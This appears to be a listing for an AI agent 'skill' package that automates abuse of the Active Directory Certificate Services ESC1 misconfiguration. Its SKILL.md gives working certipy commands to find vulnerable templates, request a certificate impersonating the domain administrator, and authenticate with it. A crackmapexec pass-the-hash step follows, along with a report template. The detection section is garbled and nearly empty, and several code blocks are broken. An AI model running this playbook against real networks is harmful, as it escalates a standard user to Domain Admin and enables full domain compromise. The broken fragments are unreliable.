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ad-cs-esc1-abuse

Exploit Active Directory Certificate Services (AD CS) misconfigurations, specifically ESC1. By requesting a certificate based on a overly permissive template that allows the enrollee to supply a Subject Alternative Name (SAN), an attacker can impersonate highly privileged users (like Domain Admins) and seamlessly escalate privileges across the entire AD environment.

The English summary is being prepared. Showing the original description.

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Files included (3)

  • SKILL.md4.2 KB
  • evals/evals.json518 B
  • scripts/process.py7.8 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

AD CS Abuse - ESC1 (Subject Alternative Name)

When to Use

  • When operating in a Windows Active Directory environment and you discover that Active Directory Certificate Services (AD CS) is deployed (PKI infrastructure).
  • To massively escalate privileges from a standard domain user to Domain Admin by exploiting misconfigured certificate templates.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying AD CS and Vulnerable Templates (ESC1)

# Concept: ESC1 ```

```bash
# certipy find -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -vulnerable

Phase 2: Requesting the Certificate

# Concept: With a vulnerable template certipy req -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -ca CA-NAME -template VulnerableTemplate -upn administrator@domain.local

Phase 3: Authenticating with the Certificate (Pass-the-Certificate)

# Concept: certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain domain.local

Phase 4: Validating Access

# crackmapexec smb 10.10.10.10 -u administrator -H [NTLM_HASH_OBTAINED_FROM_CERTIPY]

Decision Point 🔀

flowchart TD
    A[Find Template ] --> B{ESC1 Vulnerable ]}
    B -->|Yes| C[Request ]
    B -->|No| D[Check ]
    C --> E[Auth ]

🔵 Blue Team Detection & Defense

  • Audit Templates: Monitor Event Logs: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ad Cs Esc1 Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

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